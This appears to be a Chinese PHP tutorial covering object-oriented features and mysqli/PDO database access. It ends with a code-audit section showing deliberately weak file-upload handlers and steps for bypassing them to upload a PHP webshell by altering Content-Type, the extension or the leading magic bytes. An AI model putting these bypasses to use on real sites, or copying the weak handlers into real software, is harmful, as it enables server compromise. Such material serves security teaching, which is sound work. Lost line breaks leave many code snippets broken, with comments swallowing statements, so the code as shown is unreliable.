		function __construct($name="",$sex="none",$age=0)
		{
			$this->name = $name;
			$this->sex = $sex;
			$this->age = $age;
		}
		function say()
		{
			echo "姓名: {$this->name} 性别: {$this->sex} 年龄: {$this->age} ";
		}
	}

	class Student extends Person
	{
		private $school;
		function __construct($name="",$sex="none",$age=0,$school="none")
		{
			// 调用被本方法覆盖的,父类的构造方法
			parent::__construct($name,$sex,$age);
			$this->school = $school;
		}
		function say()
		{
			parent::say();                            // 调用父类中被覆盖的方法
			echo "在: {$this->school} 学校上学 
"; // 在原有基础上增加功能 } } $student = new Student("lyshark","男",25,"家里蹲"); $student->say(); ?>

面向对象重载: 重载指一个标识符被多个函数名,且能够通过函数的参数个数或参数类型将这些同名函数区分开来,调用不发生混淆,其好处是可实现代码重用,不用为了对不同参数类型或参数个数而写多个函数.

多个函数使用同一个名字,但参数个数参数数据类型不同,调用时虽然方法名相同但根据参数个数或参数的数据类型不同而调整调用不同的函数,这就是重载.

<?php
	class persion
	{
		//  __call = 根据参数调用函数(匿名函数调用,不同参数调用不同函数处理)
		public function __call($name,$argc){
			echo "调用方法名称: " . $name . "
"; echo "参数存在个数: " . count($argc) . "
"; if(count($argc) == 1 and $name == "show") { echo $this->MyPrintA($argc[0]); } if(count($argc) == 2 and $name == "show") { echo $this->MyPrintB($argc[0],$argc[1]); } } public function MyPrintA($x) { return "调用MyPrintA: 参数x = ". $x . "
"; } public function MyPrintB($x,$y) { return "调用MyPrintB: 参数x = ". $x . "参数y = " . $y . "
"; } } $point = new persion(); $point->show(100); $point->show(1000,2000); ?>

面向对象接口: PHP中类的继承只能单继承,如果需要多继承那么就需要使用接口技术了,接口是一种特殊的抽象类,使用关键字interface来声明,不能实例化对象.

接口中的方法必须全是抽象方法成员属性必须是常量,所有的权限必须是public且由子类来拓展,使用implements代替extends来实现接口,一个类只能继承一个父类,但是可实现多个接口,如果一个类同时使用了继承父类和实现接口,必须先继承再实现.

<?php
	# 创建一个人类的基类
	class people{
		public function eat(){
			echo "就会吃东西,宅在家里做贡献. 
"; } } # 声明接口 MPopedom interface MPopedom{ const NAME = "lyshark"; # 接口属性必须是常量 public function popedom(); # 方法必须是public,允许子类继承 } # 声明接口 MPurview interface MPurview{ public function purview(); } # 创建子类Member 实现一个接口 MPurview class Member implements MPurview{ public function purview(){ echo "当前是在 Member 类中,它继承了MPurview.
"; } } # 创建子类 Manager 实现多个接口继承 MPopedom,MPurview class Manager implements MPopedom,MPurview{ public function purview(){ echo "当前在Manager里面,它是一个多继承 purview .
"; } public function popedom(){ echo "当前在Manager里面,它是一个多继承 popedom .
"; } } # 创建My类,继承people基类,然后再实现多接口继承. class My extends people implements MPopedom,MPurview{ public function purview(){ echo "当前在My里面,它是一个多继承 purview .
"; } public function popedom(){ echo "当前在My里面,它是一个多继承 popedom .
"; } } $var = new Member(); $var->purview(); $var1 = new Manager(); $var1->purview(); $var1->popedom(); $var2 = new My(); $var2->eat(); $var2->purview(); $var2->popedom(); ?>

对象的克隆: 有时我们需要建立一个对象的副本,改变原来的对象时不希望影响副本,此时可使用对象的克隆,即将原对象的所有信息从内存中复制一份,存储在新开辟的内存中用于对象的拷贝,克隆后两个对象互不干扰.

<?php
	class Person
	{
		private $name;
		private $age;

		function __construct($name="",$age="")
		{
			$this->name=$name;
			$this->age=$age;
		}
		function say($count)
		{
			for($x=0; $x<$count; $x++)
				echo "姓名: {$this->name} 年龄: {$this->age} 
"; } } $p1 = new Person("admin","22"); $p1->say(3); $p2 = clone $p1; $p2->say(4); ?>

上面的程序一共创建了两个对象,由于使用了克隆则两个对象的数据成员以及成员属性是一样的,但如果我们想要在克隆后给克隆对象分配新的成员属性,此时可以使用_clone方法,该魔术方法可在克隆时指定新的参数.

<?php
	class Person
	{
		private $name;
		private $age;

		function __construct($name="",$age="")
		{
			$this->name=$name;
			$this->age=$age;
		}
		// 当被克隆是执行此方法,初始化变量值.
		function __clone()
		{
			$this->name = "none";
			$this->age = "0";
		}
		function say($count)
		{
			for($x=0; $x<$count; $x++)
				echo "姓名: {$this->name} 年龄: {$this->age} 
"; } } $p1 = new Person("admin","22"); $p1->say(3); $p2 = clone $p1; $p2->say(4); ?>

类中常量与静态变量: 在类中定义变量是添加static修饰,即可定义为静态变量,同样如果增加const关键字则定义为常量.

<?php

// 定义类中静态变量:与静态函数的定义与使用
	class StaticClass
	{
		static $count;

		function __construct(){ self::$count++; }
		static function GetCount() { return self::$count; }
	}

// 在类外可以调用到类内的静态变量
StaticClass::$count = 0;
$res1 = new StaticClass();
$res2 = new StaticClass();

echo "调用类内静态方法: " . StaticClass::GetCount(). "
"; echo "第二种调用静态变量: " . $res1->GetCount() . "
"; // ---------------------------------------------------------------------- // 定义类中常量:类内定义常量并调用 class Book { const BOOK_TYPE = " < PHP开发从入门到入土>"; public $obj_name; function setObjName($name){ $this->obj_name = $name; } function getObjName(){ return $this->obj_name; } } $c_book = new Book(); $c_book->setObjName("PHP 类图书"); echo "输出内部常量:" . Book::BOOK_TYPE . "
"; echo "输出类名:" . $c_book->getObjName(); ?>

定义抽象类: 抽象类就是使用了abstract前缀声明过的方法与类,该类是一种不能被实例化的类,或者说只能包含声明部分,而作为其他类的基类来继承后重写使用,且该类无法被直接被调用,另外如果被final修饰过就是最终版,说明该类既不可被继承,也不能再有子类派生类.

<?php
	// final 定义最终类,该类无法被继承,继承会报错
	final class FinalObj { public $id;}

	// abstract 定义抽象类,该类无法实现功能,只能被继承
	abstract class Abs_Base
	{
		protected $username;
		protected $password;

		function __construct($name="",$pass="")
		{
			$this->username = $name;
			$this->password = $pass;
		}

		// 定义抽象方法
		abstract function service($getName,$Price);
		abstract function GetUser();
	}

	// 定义子类MyBook,并继承抽象类PersionObj
	class MyBook extends Abs_Base
	{
		public function service($getName,$Price)
		{
			echo "书名: {$getName} 价格: {$Price} 元 
"; } public function GetUser() { echo "用户: {$this->username} 密码: {$this->password}
"; } } $var = new MyBook("lyshark","123456"); $var->GetUser(); $var->service("《PHP 入土》",62.67); ?>

Implements 实现多态: 如果需要使用接口中的成员,则需要通过子类去实现接口中的全部抽象方法,但通过类去继承接口时需要使用Implements关键字来实现,并不是使用extends实现,多态类似于接口implements是实现多个接口,,接口的方法一般为空的,,必须重写才能使用.

<?php

interface USB{
	const WIDTH = 5;
	public function load();
	public function stop();
}
class computer{
	function using_usb(USB $u){
		$u->load();
		$u->stop();
	}
}

class Mouse implements USB{
	function load(){
		echo "load mouse success 
"; } function stop(){ echo "stop mouse success
"; } } class keyboard implements USB{ function load(){ echo "load keyboard success
"; } function stop(){ echo "stop keyboard success
"; } } class main{ function using(){ $c = new computer(); $m = new Mouse(); $k = new keyboard(); $c->using_usb($m); $c->using_usb($k); } } $var = new main(); $var->using(); ?>

对象的序列化: 对象也是在内存中实际存储的数据类型,有时候我们需要将对象中的值记录下来,这个过程就叫做对象序列化,通常用于对象需要持续保存,将对象序列化后写入数据库等.

<?php
	// 实现普通数组的序列化
	$array = array("one","two","three","five");
	$json = serialize($array);       // 序列化
	//print_r(unserialize($json));     // 反序列化

	$code = json_encode($array);       // 序列化
	//print_r(json_decode($code,false)); // 反序列化

	// ---------------------------------------------
	// 实现对类的序列化,反序列化
	class Person
	{
		private $name;
		private $age;

		function __construct($name="none",$age=0)
		{
			$this->name = $name;
			$this->age = $age;
		}
		function say()
		{
			echo "我是: {$this->name} 年龄: {$this->age}";
		}
	}

$person = new Person("lyshark",24);
$person_string = serialize($person);                // 序列化
echo "序列化后: {$person_string} 
"; // 输出序列化后的数据 file_put_contents("c://out.log", $person_string); // 将序列化后的数据写入磁盘 $load_person = file_get_contents("c://out.log"); // 从磁盘中读出 $person = unserialize($load_person); // 读入类 $person->say(); ?>

魔术方法SET: 该方法的作用是在程序运行过程中为私有属性的成员设置值,它不需要有任何返回值,但需要有两个参数,第一个是传入在为私有属性设置值时的属性名,第二个则是传入要为属性设置的值.

<?php
	class Person
	{
		private $name;
		private $age;
		private $sex;

		// 定义构造函数,并给与默认参数.
		function __construct($name="none",$age=0,$sex="none")
		{
			$this->name = $name;
			$this->age = $age;
			$this->sex = $sex;
		}
		
		// 声明魔术方法,传入两个参数,可以添加过滤条件,过滤一些非法参数
		public function __set($PropertyName,$PropertyValue)
		{
			if($PropertyName == "sex")
			{
				// 条件判断,只允许传入男或者女不能传入其他值,如果传入参数非法直接返回
				if( !($PropertyValue == "男" || $PropertyValue == "女"))
				{
					return;
				}
				// 如果通过验证则直接赋值
				$this->$PropertyName = $PropertyValue;
			}
		}
		
		// 定义打印函数,输出结果.
		public function say()
		{
			echo "姓名: {$this->name} 年龄: {$this->sex} 性别: {$this->age} 
"; } } $person = new Person("张三",25,"男"); $person->say(); // 如下是将sex属性名传递给__set方法,set方法内部会判断. $person->sex = "中性"; // 此时会赋值失败,参数被过滤 $person->sex = "女"; // 赋值成功,不会被过滤 $person->say(); ?>

魔术方法GET: 该方法与SET方法类似,如果在类中使用GET,则在外部获取私有属性的值时,会自动调用此方法,返回私有属性的值,同时也可以增加一些条件限制,保证私有属性不会被非法的读取.

<?php
	class Person
	{
		private $name;
		private $age;
		private $sex;

		// 定义构造函数,并给与默认参数.
		function __construct($name="none",$age=0,$sex="none")
		{
			$this->name = $name;
			$this->age = $age;
			$this->sex = $sex;
		}
		
		// 声明魔术方法,传入两个参数,可以添加过滤条件,过滤一些非法参数
		public function __get($PropertyName)
		{
			if($PropertyName == "sex")
			{
				return "保密";
			}
			else if($PropertyName == "age")
			{
				if($this->age >= 20 && $this->age <= 100 )
					//return $this->age;
					return $this->$PropertyName;
				else
					return "不符合";
			}
			else
			{
				// 对其他属性不加任何限制,可以任意读取.
				return $this->$PropertyName;
			}
		}
	}

$person = new Person("张三",40,"男");
echo "姓名: {$person->name} 
"; echo "性别: {$person->sex}
"; echo "年龄: {$person->age}
"; ?>

魔术方法IsSET/UnSET: 魔术方法isset函数的主要用于测定一个变量是否存在,unset函数则是用来删除指定的变量,其传入参数为要删除的变量名称,如果想要删除测试类中的方法就需要使用类内定义的魔术方法来实现.

<?php
	class Person
	{
		private $name;
		private $age;
		private $sex;

		// 定义构造函数,并给与默认参数.
		function __construct($name="none",$age=0,$sex="none")
		{
			$this->name = $name;
			$this->age = $age;
			$this->sex = $sex;
		}

		// 在对象外面使用isset()测定私有成员属性,并传递到外部.
		public function __isset($PropertyName)
		{
			// 如果传入的是name属性,则禁止其测试
			if($PropertyName == "name")
				return false;
			return isset($this->PropertyName);
		}

		// 使用unset()方法删除私有属性.
		public function __unset($PropertyName)
		{
			// 如果是name属性则禁止删除.
			if($PropertyName == "name")
				return false;
			unset($this->PropertyName);
		}

		// 调用输出函数
		public function say()
		{
			echo "姓名: {$this->name} 年龄: {$this->age} 性别: {$this->sex} 
"; } } $person = new Person("张三",25,"男"); var_dump(isset($person->name)); // 禁止测试该变量 var_dump(isset($person->age)); // 可以测试 unset($person->sex); // 删除变量 $person->say(); ?>

魔术方法Call: 当程序试图调用不存在或不可见的成员方法时,PHP会先调用call方法来存储方法名称及其参数,该函数包含两个参数,即方法名和方法参数,其中方法参数是以数组形式存在的.

<?php
	class BaseObj
	{
		public function MyDemo()
		{
			echo "调用方法如果存在,则会直接执行";
		}

		public function __call($method,$parameter)
		{
			echo "方法名为:" . $method . "
"; echo "方法名: {$method}
"; echo "参数列表: "; var_dump($parameter); } } $var = new BaseObj(); $var->MyDemo(); // 调用方法存在则正常执行 $var->MyPrint("how","what","where") // 不存在则执行call方法 ?>

魔术方法callStatic: 当用户调用了一个类中不存在的函数时,默认会触发该函数。

<?php
	class BaseObj
	{
		static $name= "lyshark";
		function __invoke()
		{
			echo "hello lyshark 
"; } static function __callstatic($name,$args) { echo "{$name} 函数没有找到.
"; var_dump($args); } } $var = new BaseObj(); $var; # 触发__invoke方法 BaseObj::hello("lyshark","22"); # 如果方法不存在则会执行__callstatic ?>

魔术方法toString: 当使用echo或print输出对象时,可以自动将对象转换为字符串输出,如果没有该方法,直接输出对象将会发生致命错误。

<?php
	class BaseObj
	{
		private $name = "lyshark";
		public function __toString(){
			return $this->name;
		}
	}

$var = new BaseObj();
echo "对象 var 的值是: ". $var;
?>

魔术方法autoload: 该方法可以自动实例化需要使用的类,当程序要用到一个类但没加载时,该方法会在指定路径自动查找该类名称,如果找到程序继续执行,否则会报错。

// 首先创建: BaseObj.class.php
<?php
	class BaseObj
	{
		private $count;
		public function __construct($count)
		{
			$this->count = $count;
		}
		public function __toString()
		{
			return $this->count;
		}
	}
?>

// 接着创建index.php
<?php
function __autoload($class_name)
{
	$class_path = $class_name.'.class.php';
	if(file_exists($class_path))
		include_once($class_path);
	else
		echo "未导入";
}
$var = new BaseObj("hello lyshark");
echo $var;
?>

新常量覆盖旧常量: 基类中定义了一个常量,子类中同样定义相同的常量,则两个常量会发生冲突,覆盖的现象.

<?php
	class persion
	{
		const NAME = "lyshark";
		public function __construct()
		{
			echo "当前姓名:" . persion::NAME;
		}
	}
	class per extends persion
	{
		const NAME="alex";
		public function __construct()
		{
			parent::__construct();      # 调用父类构造方法
			echo "新的姓名:" . self::NAME;
		}
	}

$class_name = new per();
?>

对象之间的比较: 比较对象之间是否有差异,双等于号时比较内容是否一致,三个等于号则是比较引用地址是否一致.

<?php
	class SportObj
	{
		private $book_type;

		public function __construct($book_type)
		{
			$this->book_type = $book_type;
		}
	}

$book = new SportObj("book");
$clonebook = clone $book;
$referBook = $book;

if($book==$clonebook)
{
	echo "book = clonebook 两个对象的内容相等. 
"; } if($referBook === $book) { echo "referBook = book 两个对象引用地址相等.
"; } ?>

对象之间类型检测: instanceof 操作符可以用于检测当前的对象属于哪个类中的成员.

<?php
	class BaseObj
	{
		public function init()
		{
			echo "这是基类 
"; } } class MyBook extends BaseObj { public function init() { echo "这是BaseObj的派生类.
"; } } $var = new MyBook(); if($var instanceof MyBook) { echo "对象var 属于 MyBook类"; } ?>

单例模式: 单例模式就是提供一个接口,特定的类只能实例化一个,无法实例化多个类.

<?php
	final class Student
	{
		// 私有的静态的保存对象的属性
		private static $obj = NULL;
		// 构造函数私有化,阻止类外new对象
		private function __construct(){}
		// 私有的克隆方法: 组织类外clone对象
		private function __clone(){}
		public static function getInstance()
		{
			if(!self::$obj instanceof self)
			{
				// 判断对象是否存在,如果不存在则创建新对象
				self::$obj = new self();
			}
			// 如果对象存在则直接返回
			return self::$obj;
		}
	}

// 数据只有一份,调用可以多次
$person = Student::getInstance();
$person1 = Student::getInstance();

var_dump($perosn,$person1);
?>

◆操作数据库◆

创建测试数据: 首先我们需要创建一些测试记录,然后先来演示一下数据库的基本的链接命令的使用.

create table username
( uid int not null,name varchar(50),
   sex varchar(10),age int
);

insert into username(uid,name,sex,age) values(1,"李四","男",25);
insert into username(uid,name,sex,age) values(2,"张三","男",33);
insert into username(uid,name,sex,age) values(3,"王五","女",56);
insert into username(uid,name,sex,age) values(4,"王二麻子","男",76);
insert into username(uid,name,sex,age) values(5,"六头","男",34);
insert into username(uid,name,sex,age) values(6,"孙琪","女",25);
insert into username(uid,name,sex,age) values(7,"流云","男",63);

<?php
	$mysqli = new mysqli("localhost","root","123456","mysql");
	if(mysqli_connect_errno())
	{
		printf("连接失败: %s 
",mysqli_connect_error()); } printf("当前数据库字符集: %s
",$mysqli->character_set_name()); printf("客户端版本: %s
",$mysqli->get_client_info()); printf("主机信息: %s
",$mysqli->host_info); printf("服务器版本: %s
",$mysqli->server_info); printf("服务器版本: %s
",$mysqli->server_version); if($mysqli->query("select * from lyshark.username;")) { echo "当前记录条数: {$mysqli->affected_rows} 条
"; echo "新插入的ID值: {$mysqli->insert_id} 条
"; } $mysqli->close(); ?>

逐条读取数据: 通过循环的方式逐条读取数据,并将数据根据HTML格式输出到屏幕,注意用完后释放,否则会非常占用内存.

<?php
	$mysqli = new mysqli("localhost","root","123456","lyshark");
	if(mysqli_connect_errno())
		printf("连接失败: %s 
",mysqli_connect_error()); if(!$mysqli->query("set names utf8;")) printf("切换字符集失败
"); // 第一种查询方式: 逐行遍历结果集 $result = $mysqli->query("select uid,name from lyshark.username;"); while(list($uid,$name) = $result->fetch_row()) { echo "UID: {$uid} --> Name: {$name}
"; } $result->close(); // 第二种遍历方式: 遍历时直接输出到外部表格上 $result = $mysqli->query("select * from lyshark.username;"); echo ""; echo ""; while($row=$result->fetch_assoc()) { echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; } echo "
用户ID姓名性别年龄
{$row['uid']} {$row['name']} {$row['sex']} {$row['age']}
"; $result->close(); //第三种方式,直接输出关联数组 $result = $mysqli->query("select * from lyshark.username;"); while($row=$result->fetch_array(MYSQLI_ASSOC)) { echo "UID: {$row['uid']} 姓名: {$row['name']}
"; } $result->close(); $mysqli->close(); ?>

通过对象返回结果集: 该方法与前面三个不同,他将以一个对象的形式返回一条结果记录,而不是数组,它的每个字段都需要以对象的方式进行访问,数据列的名称区分字母大小写.

<?php
	$mysqli = new mysqli("localhost","root","123456","lyshark");
	if(mysqli_connect_errno())
		printf("连接失败: %s 
",mysqli_connect_error()); if(!$mysqli->query("set names utf8;")) printf("切换字符集失败
"); $result = $mysqli->query("select * from lyshark.username;"); echo ""; echo ""; while($rowObj=$result->fetch_object()) { echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; } echo "
用户ID姓名性别年龄
{$rowObj->uid} {$rowObj->name} {$rowObj->sex} {$rowObj->age}
"; $result->close(); $mysqli->close(); ?>

参数绑定执行: 参数绑定执行其实使用的就是预处理技术,即预先定义SQL语句模板,然后后期使用变量对模板进行填充,然后在带入数据库执行,这里其实可以在带入模板时对数据进行合法验证,保证不会出现SQL注入的现象.

<?php
	$mysqli = new mysqli("localhost","root","123456","lyshark");
	if(mysqli_connect_errno())
		printf("连接失败: %s 
",mysqli_connect_error()); if(!$mysqli->query("set names utf8;")) printf("切换字符集失败
"); // 声明一个insert语句,并使用mysqli->prepare($query)对该SQL进行预处理 $query = "insert into username(uid,name,sex,age) values(?,?,?,?);"; $stmt = $mysqli->prepare($query); // 使用占位符绑定变量: i=>整数 d=>浮点数 s=>字符串 b=>二进制 // issi => 代表 => 整数 字符串 字符串 整数 $stmt->bind_param("issi",$u_id,$u_name,$u_sex,$u_age); // 填充预处理变量 $u_id = 8; $u_name = "lyshark"; $u_sex = "男"; $u_age = 25; $stmt->execute(); // 执行插入操作 echo "插入的行数: {$stmt->affected_rows}
"; echo "自动增长ID: {$mysqli->insert_id}
"; // 继续填充插入新的变量 $u_id = 10; $u_name = "super_user"; $u_sex = "男"; $u_age = 300; $stmt->execute(); // 执行插入操作 echo "插入的行数: {$stmt->affected_rows}
"; echo "自动增长ID: {$mysqli->insert_id}
"; $stmt->close(); $mysqli->close(); ?>

预处理语句查询: 使用预处理执行SQL时,拿到的执行结果并不是一个数组,我们需要自己将这些结果集绑定到指定的变量上,然后再通过遍历变量的方式获取到结果集中的所有数据.

<?php
	$mysqli = new mysqli("localhost","root","123456","lyshark");
	if(mysqli_connect_errno())
		printf("连接失败: %s 
",mysqli_connect_error()); if(!$mysqli->query("set names utf8;")) printf("切换字符集失败
"); $query = "select uid,name,sex,age from lyshark.username;"; if($res = $mysqli->prepare($query)) { $res->execute(); // 执行SQL语句 $res->store_result(); // 取回所有的查询结果 echo "记录个数: {$res->num_rows} 行
"; // 绑定返回结果到指定变量上 $res->bind_result($u_id,$u_name,$u_sex,$u_age); while($res->fetch()) { printf("%d --> %s --> %s --> %d
",$u_id,$u_name,$u_sex,$u_age); } } $res->close(); $mysqli->close(); ?>

如果在SELECT查询语句上也使用占位符去查询,并需要多次执行这一条语句时,也可以将mysqli_stmt对象中的bind_param()和bind_result()方法结合起来.

<?php
	$mysqli = new mysqli("localhost","root","123456","lyshark");
	if(mysqli_connect_errno())
		printf("连接失败: %s 
",mysqli_connect_error()); if(!$mysqli->query("set names utf8;")) printf("切换字符集失败
"); // 此处我们使用一个占位符uid=? $query = "select uid,name,sex,age from lyshark.username where uid=?;"; if($res = $mysqli->prepare($query)) // 预处理语句 { $u_id = 1; $res->bind_param("d",$u_id); // 绑定参数,绑定到UID上 $res->execute(); // 执行 $res->store_result(); // 取回所有的查询结果 echo "记录个数: {$res->num_rows} 行
"; // 绑定返回结果到指定变量上 $res->bind_result($u_id,$u_name,$u_sex,$u_age); while($res->fetch()) { printf("%d --> %s --> %s --> %d
",$u_id,$u_name,$u_sex,$u_age); } } $res->close(); $mysqli->close(); ?>

开启事务提交: 在使用事务提交时需要让MySQL数据库切换到InnoDB上,然后执行事务,最后提交.

<?php
	$mysqli = new mysqli("localhost","root","123456","lyshark");
	if(mysqli_connect_errno())
		printf("连接失败: %s 
",mysqli_connect_error()); if(!$mysqli->query("set names utf8;")) printf("切换字符集失败
"); $success = TRUE; $age = 30; $mysqli->autocommit(0); // 暂时关闭事务提交 $result = $mysqli->query("select * from lyshark.username;"); // 如果SQL执行失败,则将状态设置为假 if(!$result or $mysqli->affected_rows != 1) { $success=FALSE; } // 最后判断是否成功,成功则提交事务 if($success) { $mysqli->commit(); echo "事务已提交
"; } else { $mysqli->rollback(); echo "事务执行失败,回滚到初始状态
"; } $mysqli->autocommit(1); // 开启事务 $result->close(); $mysqli->close(); ?>

PDO 连接MySQL数据库: PDO技术就是在SQL语句中添加了一个中间层,所有的查询方式都可以通过中间层去调用,极大的提高了数据库操作的通用性,同时安全性也得到了更好的保障,以下是基本的语句使用:

<?php

	// 设置持久连接的选项数组作为最后一个参数
	$opt = array(PDO::ATTR_PERSISTENT => TRUE);
	try
	{
		$dbh = new PDO("mysql:dbname=lyshark;host=localhost","root","123456",$opt);
	}catch(PDOException $e)
	{
		echo "数据库连接失败: {$e->getMessage()} 
"; exit; } // 调用getAttribute()可以获得所有属性名称对应的值. echo "是否关闭自动提交: " . $dbh->getAttribute(PDO::ATTR_AUTOCOMMIT) . "
"; echo "PDO错误处理模式: " . $dbh->getAttribute(PDO::ATTR_ERRMODE) . "
"; echo "表字段字符的大小写转换: " . $dbh->getAttribute(PDO::ATTR_CASE) . "
"; echo "连接状态相关的信息: " . $dbh->getAttribute(PDO::ATTR_CONNECTION_STATUS) . "
"; echo "空字符串转换SQL的NULL: " . $dbh->getAttribute(PDO::ATTR_ORACLE_NULLS) . "
"; echo "应用程序提前获取数据大小: " . $dbh->getAttribute(PDO::ATTR_PERSISTENT) . "
"; // 设置一个标志 $dbh->setAttribute(PDO::ATTR_ERRMODE); ?>

PDO 获取表中数据: 当执行查询语句时我们可以使用PDO中的Query()方法,该方法执行后返回受影响的行总数,也可以使用Fetch等语句,下面是三者的查询方式.

<?php

	// 设置持久连接的选项数组作为最后一个参数
	$opt = array(PDO::ATTR_PERSISTENT => TRUE);
	try
	{
		$dbh = new PDO("mysql:dbname=lyshark;host=localhost","root","123456",$opt);
		// 设置捕获异常
		$dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
	}catch(PDOException $e)
	{
		echo "数据库连接失败: {$e->getMessage()} 
"; exit; } // ------------------------------------------------- // 使用 query() 完成数据查询 $query = "select uid,name,sex,age from username"; try { $pdo_proc = $dbh->query($query); echo "总共查询到: {$pdo_proc->rowCount()} 条记录
"; foreach($pdo_proc as $row) { echo $row['uid'] . "\t"; echo $row['name'] . "\t"; echo $row['sex'] . "\t"; echo $row['age'] . "\t"; echo "
"; } }catch(PDOException $e) { // 两种方式都可以完成异常捕获 echo $e->getMessage(); print_r($dbh->errorInfo()); } // ------------------------------------------------- // 使用 fetch() 方法完成遍历 $stmt = $dbh->query("select uid,name,sex,age from username"); while($row = $stmt->fetch(PDO::FETCH_ASSOC)) { echo $row['uid'] . "\t"; echo $row['name'] . "\t"; echo $row['sex'] . "\t"; echo $row['age'] . "\t"; echo "
"; } // ------------------------------------------------- // 使用 fetch_all() 方法完成遍历 $stmt = $dbh->prepare("select uid,name,sex,age from username;"); $stmt->execute(); $allRow = $stmt->fetchAll(PDO::FETCH_NUM); foreach ($allRow as $row) { echo "{$row[0]}
"; } ?>

PDO 参数绑定后执行: 参数绑定执行,在上面的内容中已经尝试过了,这里其实就是使用的引擎变成了PDO引擎,根本的东西还是老样子.

<?php

	// 设置持久连接的选项数组作为最后一个参数
	$opt = array(PDO::ATTR_PERSISTENT => TRUE);
	try
	{
		$dbh = new PDO("mysql:dbname=lyshark;host=localhost","root","123456",$opt);
		// 设置捕获异常
		$dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
	}catch(PDOException $e)
	{
		echo "数据库连接失败: {$e->getMessage()} 
"; exit; } // 直接绑定后插入数据 $query = "insert into username(uid,name,sex,age) values(?,?,?,?);"; $stmt = $dbh->prepare($query); // 预处理 // 填充数据 $u_id = 100; $u_name = "lyshark"; $u_sex = "男"; $u_age = 25; // 绑定参数,分别绑定1,2,3,4个位置的?号,到每个变量上 $stmt->bindParam(1,$u_id); $stmt->bindParam(2,$u_name); $stmt->bindParam(3,$u_sex); $stmt->bindParam(4,$u_age); $stmt->execute(); // 执行提交 // ------------------------------------------------- // 第二种绑定参数的方式 $query = "insert into username(uid,name,sex,age) values(:u_id,:u_name,:u_sex,:u_age);"; $stmt = $dbh->prepare($query); $stmt->execute(array(":u_id" => 200,":u_name"=> "三从",":u_sex" => "女",":u_age"=>25)); ?>

PDO 绑定参数实现查询: 前面的查询是直接写死的SQL语句实现的查询,这里我们需要通过PDO将其参数绑定,动态的传入数据让其进行查询,该方法可以将一个列和一个指定的变量名绑定在一起.

<?php

	// 设置持久连接的选项数组作为最后一个参数
	$opt = array(PDO::ATTR_PERSISTENT => TRUE);
	try
	{
		$dbh = new PDO("mysql:dbname=lyshark;host=localhost","root","123456",$opt);
		// 设置捕获异常
		$dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
	}catch(PDOException $e)
	{
		echo "数据库连接失败: {$e->getMessage()} 
"; exit; } $query = "select uid,name,sex,age from username;"; try { $stmt = $dbh->prepare($query); $stmt->execute(); $stmt->bindColumn(1,$u_id); // 通过序号绑定 $stmt->bindColumn(2,$u_name); // 第二个参数绑定到u_name $stmt->bindColumn('sex',$u_sex); // 将sex绑定到u_sex $stmt->bindColumn('age',$u_age); while($row = $stmt->fetch(PDO::FETCH_BOUND)) { echo "ID: {$u_id} --> Name: {$u_name}
"; } }catch(PDOException $e) { echo $e->getMessage(); } ?>

PDO 开启事务支持: PDO技术同样支持十五处理,事务用于保证,数据的原子性,一致性,独立性,持久性,也就是ACID模型.

<?php

	// 设置持久连接的选项数组作为最后一个参数
	$opt = array(PDO::ATTR_PERSISTENT => TRUE);
	try
	{
		$dbh = new PDO("mysql:dbname=lyshark;host=localhost","root","123456",$opt);
		// 设置捕获异常
		$dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
	}catch(PDOException $e)
	{
		echo "数据库连接失败: {$e->getMessage()} 
"; exit; } try { $dbh->beginTransaction(); // 启动一个事务 $dbh->exec("select * from username;"); $dbh->commit(); // 提交事务 }catch(Exception $e) { $dbh->rollBack(); echo "事务失败,自动回滚: " . $e->getMessage() . "
"; } ?>

PHP 代码审计

◆文件上传◆

只验证MIME类型: 代码中验证了上传的MIME类型,绕过方式使用Burp抓包,将上传的一句话小马*.php中的Content-Type:application/php,修改成Content-Type: image/png然后上传.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH", "./");

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			// 判断 content-type 的类型,如果是image/png则通过
			if($_FILES['upload_file']['type'] == 'image/png')
			{
				$temp_file = $_FILES['upload_file']['tmp_name'];
				$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
				if (move_uploaded_file($temp_file, $img_path))
					echo "上传完成.";
				else
					echo "上传出错.";
			}
		}
	}
?>


	

白名单的绕过: 白名单就是允许上传某种类型的文件,该方式比较安全,抓包上传php后门,然后将文件名改为.jpg即可上传成功,但是有时候上传后的文件会失效无法拿到Shell.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH", "./");

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			$allow_ext = array(".jpg",".png",".jpeg");

			$file_name = trim($_FILES['upload_file']['name']); // 取出文件名
			$file_ext = strrchr($file_name, '.');
			$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
			$file_ext = strtolower($file_ext);                  // 转换为小写
			$file_ext = trim($file_ext);                        // 首尾去空

			if(in_array($file_ext, $allow_ext))
			{
				$temp_file = $_FILES['upload_file']['tmp_name'];
				$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
				 if (move_uploaded_file($temp_file,$img_path))
				 	echo "上传完成: {$img_path} 
"; else echo "上传失败
"; } } } ?>

白名单验证文件头: 本关主要是允许jpg/png/gif这三种文件的传输,且代码中检测了文件头的2字节内容,我们只需要将文件的头两个字节修改为图片的格式就可以绕过.

通常JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49 以JPEG为例,我们在一句话木马的开头添加两个11也就是二进制的3131,然后将.php修改为.jpg,使用Brup抓包发送到Repeater模块,将HEX编码3131改为FFD8点Send后成功上传JPG.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH", "./");

	function getReailFileType($filename)
	{
	    $file = fopen($filename, "rb");
	    $bin = fread($file, 2);
	    fclose($file);
	    $strInfo = @unpack("C2chars", $bin);    
	    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
	    $fileType = '';    
	    switch($typeCode)
	    {      
	        case 255216: $fileType = 'jpg'; break;
	        case 13780:  $fileType = 'png'; break;        
	        case 7173:   $fileType = 'gif'; break;
	        default:     $fileType = 'unknown';
	        }    
	        return $fileType;
	}

